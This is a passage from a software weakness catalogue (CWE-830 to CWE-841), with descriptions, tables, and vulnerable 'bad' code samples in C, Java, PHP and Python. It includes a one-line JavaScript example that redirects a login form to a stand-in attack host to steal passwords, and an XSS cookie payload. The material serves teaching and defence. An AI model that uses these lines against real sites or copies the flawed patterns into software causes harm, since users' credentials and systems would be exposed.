This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2010-2076 | Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2076 |

CWE-830: Inclusion of Web Functionality from an Untrusted Source**Weakness ID :** 830**Status:** Incomplete**Structure :** Simple**Abstraction :** Variant**Description**

The software includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the software, potentially granting total access and control of the software to the untrusted source.

Extended Description

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.

Even if the third party is a trusted source, the software may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the software.

This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the software, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access.

Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 829 | Inclusion of Functionality from Untrusted Control Sphere | 1579 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|----------------|------|
| MemberOf |  | 1016 | Limit Exposure | 2147 |

Common Consequences

| Scope | Impact | Likelihood |
|--|---------------------------------------|------------|
| Confidentiality Integrity Availability | Execute Unauthorized Code or Commands | |

Demonstrative Examples

Example 1:

This login webpage includes a weather widget from an external website:

Example Language: HTML

(bad)

```
<div class="header"> Welcome!  
  <div id="loginBox">Please Login:  
    <form id="loginForm" name="loginForm" action="login.php" method="post">  
      Username: <input type="text" name="username" />  
      <br/>  
      Password: <input type="password" name="password" />  
      <input type="submit" value="Login" />  
    </form>  
  </div>  
  <div id="WeatherWidget">  
    <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>  
  </div>  
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: JavaScript

(attack)

```
...Weather widget code....  
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-831: Signal Handler Function Associated with Multiple Signals

Weakness ID : 831

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software defines a function that is used as a handler for more than one signal.

Extended Description

While sometimes intentional and safe, when the same function is used to handle multiple signals, a race condition could occur if the function uses any state outside of its local declaration, such as global variables or non-reentrant functions, or has any side effects.

An attacker could send one signal that invokes the handler function; in many OSes, this will typically prevent the same signal from invoking the handler again, at least until the handler function has completed execution. However, the attacker could then send a different signal that is associated with the same handler function. This could interrupt the original handler function while it is still executing. If there is shared state, then the state could be corrupted. This can lead to a variety of potential consequences depending on context, including denial of service and code execution.

Another rarely-explored possibility arises when the signal handler is only designed to be executed once (if at all). By sending multiple signals, an attacker could invoke the function more than once. This may generate extra, unintended side effects. A race condition might not even be necessary; the attacker could send one signal, wait until it is handled, then send the other signal.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-------------------------------|------|
| ChildOf |  | 364 | Signal Handler Race Condition | 826 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---------------|------|
| MemberOf |  | 387 | Signal Errors | 2038 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Availability | DoS: Crash, Exit, or Restart | |
| Integrity | Execute Unauthorized Code or Commands | |
| Confidentiality | Read Application Data | |
| Access Control | Gain Privileges or Assume Identity | |
| Other | Bypass Protection Mechanism | |
| | Varies by Context | |
| | <p><i>The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.</i></p> | |

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals.

Example Language: C

(bad)

```
void handler (int sigNum) {
    ...
}
int main (int argc, char* argv[]) {
    signal(SIGUSR1, handler)
    signal(SIGUSR2, handler)
}
```

Example 2:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C

(bad)

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the `strdup(argv[1])` call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because `argc` would be 0, and `argv[1]` would point outside the bounds of the array.

CWE-832: Unlock of a Resource that is not Locked

Weakness ID : 832

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software attempts to unlock a resource that is not locked.

Extended Description

Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|------------------|------|
| ChildOf |  | 667 | Improper Locking | 1337 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---------------------------|------|
| MemberOf |  | 411 | Resource Locking Problems | 2042 |

Common Consequences

| Scope | Impact | Likelihood |
|---|---------------------------------------|------------|
| Integrity | DoS: Crash, Exit, or Restart | |
| Confidentiality | Execute Unauthorized Code or Commands | |
| Availability | Modify Memory | |
| Other | Other | |
| <p><i>Depending on the locking being used, an unlock operation might not have any adverse effects. When effects exist, the most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit; depending on the implementation of the unlocking, memory corruption or code execution could occur.</i></p> | | |

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2010-4210 | function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4210 |

| CVE-2009-1243 | OS kernel performs an unlock in some incorrect circumstances, leading to panic. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1243 |

CWE-833: Deadlock

| | |
|---------------------------|----------------------------|
| Weakness ID : 833 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-834: Excessive Iteration

Weakness ID : 834

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The software performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.

Extended Description

If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the software or its host system; it depends on the amount of resources consumed per iteration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--------------|---|------------|
| Availability | DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Amplification <i>An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond.</i> | |

Demonstrative Examples

Example 1:

In the following code the method processMessagesFromServer attempts to establish a connection to a server and read and process messages from the server. The method uses a do/while loop to continue trying to establish the connection to the server when an attempt fails.

Example Language: C

(bad)

```
int processMessagesFromServer(char *hostaddr, int port) {
    ...
    int servsock;
    int connected;
    struct sockaddr_in servaddr;
    // create socket to connect to server
    servsock = socket( AF_INET, SOCK_STREAM, 0);
    memset( &servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(port);
    servaddr.sin_addr.s_addr = inet_addr(hostaddr);
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
```

```

// if connected then read and process messages from server
if (connected > -1) {
    // read and process messages
    ...
}
// keep trying to establish connection to the server
} while (connected < 0);
// close socket and return success or failure
...
}

```

However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code.

Example Language: C

(good)

```

int processMessagesFromServer(char *hostaddr, int port) {
    ...
    // initialize number of attempts counter
    int count = 0;
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // increment counter
        count++;
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
        // keep trying to establish connection to the server
        // up to a maximum number of attempts
    } while (connected < 0 && count < MAX_ATTEMPTS);
    // close socket and return success or failure
    ...
}

```

Example 2:

For this example the method `isReorderNeeded` as part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.

Example Language: Java

(bad)

```

public boolean isReorderNeeded(String bookISBN, int rateSold) {
    boolean isReorder = false;
    int minimumCount = 10;
    int days = 0;
    // get inventory count for book
    int inventoryCount = inventory.getInventoryCount(bookISBN);
    // find number of days until inventory count reaches minimum
    while (inventoryCount > minimumCount) {
        inventoryCount = inventoryCount - rateSold;
        days++;
    }
    // if number of days within reorder timeframe
    // set reorder return boolean to true
    if (days > 0 && days < 5) {
        isReorder = true;
    }
    return isReorder;
}

```

However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop, as in the following code.

Example Language: Java

(good)

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {  
    ...  
    // validate rateSold variable  
    if (rateSold < 1) {  
        return isReorder;  
    }  
    ...  
}
```

CWE-836: Use of Password Hash Instead of Password for Authentication

Weakness ID : 836

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.

Extended Description

Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a copy of the hash, e.g. by using SQL injection to compromise a database of authentication credentials, or by exploiting an information exposure. The attacker could then use a modified client to replay the stolen hash without having knowledge of the original password.

As a result, the server-side comparison against a client-side hash does not provide any more security than the use of passwords without hashing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-837: Improper Enforcement of a Single, Unique Action

| | |
|---------------------------|----------------------------|
| Weakness ID : 837 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software requires that an actor should only be able to perform an action once, or to have only one unique action, but the software does not enforce or improperly enforces this restriction.

Extended Description

In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt to "stuff the ballot box" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| CVE-2009-2346 | Protocol implementation allows remote attackers to cause a denial of service (call-number exhaustion) by initiating many message exchanges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2346 |

CWE-838: Inappropriate Encoding for Output Context

| | |
|---------------------------|---------------------------|
| Weakness ID : 838 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.

Extended Description

This weakness can cause the downstream component to use a decoding method that produces different data than what the software intended to send. When the wrong encoding is used - even if closely related - the downstream component could decode the data incorrectly. This can have security consequences when the provided boundaries between control and data are inadvertently broken, because the resulting data could introduce control characters or special elements that were not sent by the software. The resulting data could then be used to bypass protection mechanisms such as input validation, and enable injection attacks.

While using output encoding is essential for ensuring that communications between components are accurate, the use of the wrong encoding - even if closely related - could cause the downstream component to misinterpret the output.

For example, HTML entity encoding is used for elements in the HTML body of a web page. However, a programmer might use entity encoding when generating output for that is used within an attribute of an HTML tag, which could contain functional Javascript that is not affected by the HTML encoding.

While web applications have received the most attention for this problem, this weakness could potentially apply to any type of software that uses a communications stream that could support multiple encodings.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Nature | Type | ID | Name | Page |
|----------|---|-----|----------------------------|------|
| MemberOf |  | 137 | Data Neutralization Issues | 2027 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Integrity | Modify Application Data | |
| Confidentiality | Execute Unauthorized Code or Commands | |
| Availability | <i>An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.</i> | |

Potential Mitigations

Phase: Implementation

Strategy = Output Encoding

Use context-aware encoding. That is, understand which encoding is being used by the downstream component, and ensure that this encoding is used. If an encoding can be specified, do so, instead of assuming that the default encoding is the same as the default being assumed by the downstream component.

Phase: Architecture and Design

Strategy = Output Encoding

Where possible, use communications protocols or data formats that provide strict boundaries between control and data. If this is not feasible, ensure that the protocols or formats allow the communicating components to explicitly state which encoding/decoding method is being used. Some template frameworks provide built-in support.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the

ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Note that some template mechanisms provide built-in support for the appropriate encoding.

Demonstrative Examples

Example 1:

This code dynamically builds an HTML page using POST data:

Example Language: PHP

(bad)

```
$username = $_POST['username'];
$picSource = $_POST['picsource'];
$picAltText = $_POST['picalttext'];
...
echo "<title>Welcome, " . htmlentities($username) . "</title>";
echo "<img src=\"" . htmlentities($picSource) . "\" alt=\"" . htmlentities($picAltText) . "\" />";
...
```

The programmer attempts to avoid XSS exploits (CWE-79) by encoding the POST values so they will not be interpreted as valid HTML. However, the htmlentities() encoding is not appropriate when the data are used as HTML attributes, allowing more attributes to be injected.

For example, an attacker can set picAltText to:

Example Language:

(attack)

```
"altTextHere" onload='alert(document.cookie)'
```

This will result in the generated HTML image tag:

Example Language: HTML

(result)

```
<img src='pic.jpg' alt='altTextHere' onload='alert(document.cookie)' />
```

The attacker can inject arbitrary javascript into the tag due to this incorrect encoding.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2009-2814 | Server does not properly handle requests that do not contain UTF-8 data; browser assumes UTF-8, allowing XSS. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2814 |

CWE-839: Numeric Range Comparison Without Minimum Check

| | |
|---------------------------|----------------------------|
| Weakness ID : 839 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The program checks a value to ensure that it is less than or equal to a maximum, but it does not also verify that the value is greater than or equal to the minimum.

Extended Description

Some programs use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.

The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|-----|----------------|------|
| MemberOf | | 189 | Numeric Errors | 2028 |

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Alternate Terms

Signed comparison : The "signed comparison" term is often used to describe when the program uses a signed variable and checks it to ensure that it is less than a maximum value (typically a maximum buffer size), but does not verify that it is greater than 0.

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Integrity | Modify Application Data | |
| Confidentiality | Execute Unauthorized Code or Commands | |
| Availability | <i>An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.</i> | |
| Availability | DoS: Resource Consumption (Other) | |
| | <i>in some contexts, a negative value could lead to resource consumption.</i> | |
| Confidentiality | Modify Memory | |
| Integrity | Read Memory | |
| | <i>If a negative value is used to access memory, buffers, or other indexable structures, it could access memory outside the bounds of the buffer.</i> | |

Potential Mitigations

Phase: Implementation

Strategy = Enforcement by Conversion

If the number to be used is always expected to be positive, change the variable type from signed to unsigned or size_t.

Phase: Implementation

Strategy = Input Validation

If the number to be used could have a negative value based on the specification (thus requiring a signed value), but the number should only be positive to preserve code correctness, then include a check to ensure that the value is positive.

Demonstrative Examples

Example 1:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

Example Language: C

(bad)

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 2:

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Example Language: C

(bad)

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("i=%d, s=%d, sz=%u\n", i, s, sz);
    input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
```

```
(CWE-195), enabling buffer overflow (CWE-119) */
strncpy(path, input, s);
path[255] = '\0'; /* don't want CWE-170 */
printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

Example 3:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C

(bad)

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C

(good)

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
    ...
}
```

Example 4:

The following code shows a simple BankAccount class with deposit and withdraw methods.

Example Language: Java

(bad)

```
public class BankAccount {
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {...}
}
```

```
// method to withdraw amount from BankAccount
public void withdraw(double withdrawAmount) {
    if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT) {
        double newBalance = accountBalance - withdrawAmount;
        accountBalance = newBalance;
    }
    else {
        System.err.println("Withdrawal amount exceeds the maximum limit allowed, please try again...");
        ...
    }
}
// other methods for accessing the BankAccount object
...
}
```

The withdraw method includes a check to ensure that the withdrawal amount does not exceed the maximum limit allowed, however the method does not check to ensure that the withdrawal amount is greater than a minimum value (CWE-129). Performing a range check on a value that does not include a minimum check can have significant security implications, in this case not including a minimum range check can allow a negative value to be used which would cause the financial application using this class to deposit money into the user account rather than withdrawing. In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: Java (good)

```
public class BankAccount {
    public final int MINIMUM_WITHDRAWAL_LIMIT = 0;
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    ...
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT &&
            withdrawAmount > MINIMUM_WITHDRAWAL_LIMIT) {
            ...
        }
    }
}
```

Note that this example does not protect against concurrent access to the BankAccount balance variable, see CWE-413 and CWE-362.

While it is out of scope for this example, note that the use of doubles or floats in financial calculations may be subject to certain kinds of attacks where attackers use rounding errors to steal money.

Observed Examples

| Reference | Description |
|---------------|--|
| CVE-2010-1866 | Chain: integer overflow causes a negative signed value, which later bypasses a maximum-only check, leading to heap-based buffer overflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1866 |
| CVE-2009-1099 | Chain: 16-bit counter can be interpreted as a negative value, compared to a 32-bit maximum value, leading to buffer under-write. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1099 |
| CVE-2011-0521 | Chain: kernel's lack of a check for a negative value leads to memory corruption. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0521 |
| CVE-2010-3704 | Chain: parser uses atoi() but does not check for a negative value, which can happen on some platforms, leading to buffer under-write. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3704 |
| CVE-2010-2530 | Chain: Negative value stored in an int bypasses a size check and causes allocation of large amounts of memory. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2530 |

| Reference | Description |
|----------------------|---|
| CVE-2009-3080 | Chain: negative offset value to IOCTL bypasses check for maximum index, then used as an array index for buffer under-read. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3080 |
| CVE-2008-6393 | chain: file transfer client performs signed comparison, leading to integer overflow and heap-based buffer overflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6393 |
| CVE-2008-4558 | chain: negative ID in media player bypasses check for maximum index, then used as an array index for buffer under-read. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4558 |

CWE-841: Improper Enforcement of Behavioral Workflow

| | |
|---------------------------|----------------------------|
| Weakness ID : 841 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.

Extended Description

By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the software or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses.

For example, a file-sharing protocol might require that an actor perform separate steps to provide a username, then a password, before being able to transfer files. If the file-sharing server accepts a password command followed by a transfer command, without any username being provided, the software might still perform the transfer.

Note that this is different than CWE-696, which focuses on when the software performs actions in the wrong sequence; this entry is closely related, but it is focused on ensuring that the actor performs actions in the correct sequence.

Workflow-related behaviors include:

- Steps are performed in the expected order.
- Required steps are not omitted.
- Steps are not interrupted.
- Steps are performed in a timely fashion.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|--------------------------------------|------|
| ChildOf | [P] | 691 | Insufficient Control Flow Management | 1381 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|------|------|----------------------|------|
| MemberOf | [C] | 1018 | Manage User Sessions | 2148 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|------|-----------------------|------|
| MemberOf | [C] | 1217 | User Session Errors | 2195 |
| MemberOf | [C] | 438 | Behavioral Problems | 2043 |
| MemberOf | [C] | 840 | Business Logic Errors | 2077 |

Common Consequences

| Scope | Impact | Likelihood |
|-------|---|------------|
| Other | Alter Execution Logic <i>An attacker could cause the software to skip critical steps or perform them in the wrong order, bypassing its intended business logic. This can sometimes have security implications.</i> | |

Demonstrative Examples

Example 1:

This code is part of an FTP server and deals with various commands that could be sent by a user. It is intended that a user must successfully login before performing any other action such as retrieving or listing files.

Example Language: Python

(bad)

```
def dispatchCommand(command, user, args):
    if command == 'Login':
        loginUser(args)
        return
    # user has requested a file
    if command == 'Retrieve_file':
        if authenticated(user) and ownsFile(user,args):
            sendFile(args)
            return
    if command == 'List_files':
        listFiles(args)
        return
    ...
```

The server correctly does not send files to a user that isn't logged in and doesn't own the file. However, the server will incorrectly list the files in any directory without confirming the command came from an authenticated user, and that the user is authorized to see the directory's contents.

Here is a fixed version of the above example:

Example Language: Python

(good)

```
def dispatchCommand(command, user, args):
    ...
    if command == 'List_files':
        if authenticated(user) and ownsDirectory(user,args):
            listFiles(args)
        return
    ...
```

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2011-0348 | Bypass of access/billing restrictions by sending traffic to an unrestricted destination before sending to a restricted destination. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0348 |
| CVE-2007-3012 | Attacker can access portions of a restricted page by canceling out of a dialog. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3012 |
| CVE-2009-5056 | Ticket-tracking system does not enforce a permission setting. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-5056 |
